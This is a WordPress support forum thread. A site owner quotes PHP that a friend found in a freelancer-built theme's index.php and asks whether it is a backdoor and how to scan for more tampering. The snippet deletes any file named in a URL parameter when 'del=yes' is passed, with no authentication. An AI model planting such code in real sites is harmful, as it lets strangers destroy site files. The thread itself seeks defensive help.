Title: backdoor
Last modified: August 21, 2016

---

# backdoor

 *  [bobbyl76](https://wordpress.org/support/users/bobbyl76/)
 * (@bobbyl76)
 * [12 years, 10 months ago](https://wordpress.org/support/topic/backdoor/)
 * A coder friend found what he said was a type of kill switch backdoor in my index.
   php file. It was worked on by a freelancer from over seas. The code looks like
   this
 * `code`
    if(isset($_GET[‘del’]) && $_GET[‘del’]==’yes’){
 *  $path = $_SERVER[‘SCRIPT_FILENAME’];
    $file = $_GET[‘filename’];
 *  $fullpath = “wp-content/themes/forest/”.$file;
 *  $fpath = str_replace(“index.php”, $fullpath,$path);
    unlink($fpath); `code`
 * He says this code could allow anyone with the url and knowledge of the code to
   delete my index page.
 * Is this true?
 * If it is. Beyond removing this code from the index.php, is there a way to check
   for any other kinds of code? I have “All in one WP Security” and it never found
   this exploit. My friend also suggested I find a plugin to check to see if any
   of the core wordpress files have been tampered with.
 * Can anyone recommend something and/or advise if that code is malicious?

The topic ‘backdoor’ is closed to new replies.

## Tags

 * [backdoor](https://wordpress.org/support/topic-tag/backdoor/)
 * [hacking](https://wordpress.org/support/topic-tag/hacking/)

 * 0 replies
 * 1 participant
 * Last reply from: [bobbyl76](https://wordpress.org/support/users/bobbyl76/)
 * Last activity: [12 years, 10 months ago](https://wordpress.org/support/topic/backdoor/)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
